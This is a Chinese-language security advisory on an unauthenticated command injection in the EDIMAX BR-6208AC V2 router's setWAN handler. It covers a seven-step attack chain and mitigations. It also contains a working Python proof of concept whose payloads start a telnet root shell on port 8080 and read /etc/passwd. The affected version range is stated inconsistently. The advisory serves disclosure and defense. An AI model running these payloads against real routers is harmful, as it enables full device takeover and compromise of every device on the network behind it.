IPBUF安全漏洞报告
English
CVE-2025-70161 CVSS 9.8 严重

CVE-2025-70161: EDIMAX BR-6208AC V2命令注入漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-70161
漏洞类型
命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
EDIMAX BR-6208AC V2

相关标签

命令注入远程代码执行无认证攻击路由器漏洞EDIMAXBR-6208ACWeb安全IoT安全网络设备

漏洞概述

CVE-2025-70161是EDIMAX BR-6208AC V2_1.02版本路由器中存在的一个严重命令注入漏洞。该漏洞源于Web管理界面中setWAN处理函数对pppUserName参数的处理不当。攻击者可以通过在pppUserName字段中注入恶意命令,利用系统函数直接执行任意代码。由于该漏洞位于路由器的Web管理接口,攻击者无需任何认证即可发起攻击,属于无需认证的远程攻击。EDIMAX BR-6208AC V2是一款双频无线路由器,广泛应用于家庭和小型办公网络环境中。攻击者成功利用此漏洞后,可以完全控制受影响的路由器设备,执行任意系统命令、安装后门、窃取网络流量、进行中间人攻击或将路由器纳入僵尸网络。由于路由器通常作为网络边界设备,此漏洞的影响范围可能扩展到整个内网环境,危及所有连接该网络的设备。CVSS评分高达9.8(严重),体现了该漏洞的高危性质和严重的安全风险。

技术细节

该命令注入漏洞存在于EDIMAX BR-6208AC V2路由器的Web管理界面setWAN处理函数中。漏洞的根本原因是pppUserName参数被直接传递给C语言的system()函数而未进行任何输入验证或命令转义处理。在路由器的Web配置功能中,当用户设置WAN连接的用户名时,该值被直接拼接到shell命令字符串中。例如,攻击者可以构造类似`pppUserName=$(恶意命令)`的payload,当系统执行system()调用时,shell会先解析并执行注入的命令。由于system()函数使用/bin/sh执行命令,攻击者可以利用各种shell元字符和命令链接符(如;、|、$()、``等)来执行复杂的攻击载荷。攻击者通过发送特制的HTTP POST请求到管理界面即可触发漏洞,无需任何认证凭证。这种无认证的命令注入漏洞特别危险,因为攻击者可以直接获得设备的最高控制权限。

攻击链分析

STEP 1
步骤1
扫描识别目标:攻击者使用网络扫描工具识别运行EDIMAX BR-6208AC V2固件版本<=1.02的路由器设备
STEP 2
步骤2
访问Web管理界面:攻击者通过HTTP/HTTPS访问路由器的Web管理接口,通常位于192.168.2.1或192.168.1.1
STEP 3
步骤3
构造恶意请求:攻击者构造包含命令注入payload的HTTP POST请求,将恶意shell命令注入到pppUserName参数中
STEP 4
步骤4
发送攻击请求:向/goform/setWAN端点发送构造的POST请求,由于无需认证即可访问,攻击直接生效
STEP 5
步骤5
命令执行:路由器系统接收到请求后,pppUserName值被直接拼接到system()调用的命令中,shell解析并执行注入的命令
STEP 6
步骤6
建立持久化控制:攻击者可以执行后续命令,如开启telnet服务、安装后门、下载恶意程序等,建立持久化访问
STEP 7
步骤7
扩大攻击范围:成功控制路由器后,攻击者可以监听网络流量、进行DNS劫持、将内网设备纳入僵尸网络等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-70161 PoC - EDIMAX BR-6208AC V2 Command Injection # Target: EDIMAX BR-6208AC V2 router (firmware <= 1.02) # Vulnerability: Command injection via pppUserName parameter in setWAN handler target_ip = "192.168.2.1" # Default EDIMAX router IP target_url = f"http://{target_ip}/goform/setWAN" # Payload: Inject command to create a reverse shell or execute arbitrary command # Example: Execute telnetd to gain remote access payload = ";telnetd -p 8080 -l /bin/sh;" data = { "pppUserName": payload, "pppPassword": "password", "pppType": "PPPoE", "wanType": "ppp", "mtu": "1492" } try: response = requests.post(target_url, data=data, timeout=5) print(f"[*] Request sent to {target_url}") print(f"[*] Payload: {payload}") print(f"[*] Response Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") # Alternative: Read /etc/passwd to verify command execution payload_read = ";cat /etc/passwd;" data_read = { "pppUserName": payload_read, "pppPassword": "password", "pppType": "PPPoE", "wanType": "ppp", "mtu": "1492" } try: response = requests.post(target_url, data=data_read, timeout=5) print(f"[*] Testing command injection with: {payload_read}") if response.status_code == 200: print("[+] Command injection successful!") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")

影响范围

EDIMAX BR-6208AC V2 < 1.02

防御指南

临时缓解措施
在厂商发布修复补丁之前,可采取以下临时缓解措施:1)将路由器管理界面绑定到特定的受信任IP地址段;2)使用路由器的访问控制功能限制Web管理界面的访问来源;3)禁用路由器的远程管理功能,仅允许通过本地网络访问;4)定期更换路由器管理密码;5)监控网络流量和路由器日志,及时发现异常行为;6)考虑使用VPN连接后再访问路由器管理界面;7)如果不需要PPPoE功能,可在路由器设置中禁用相关功能以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表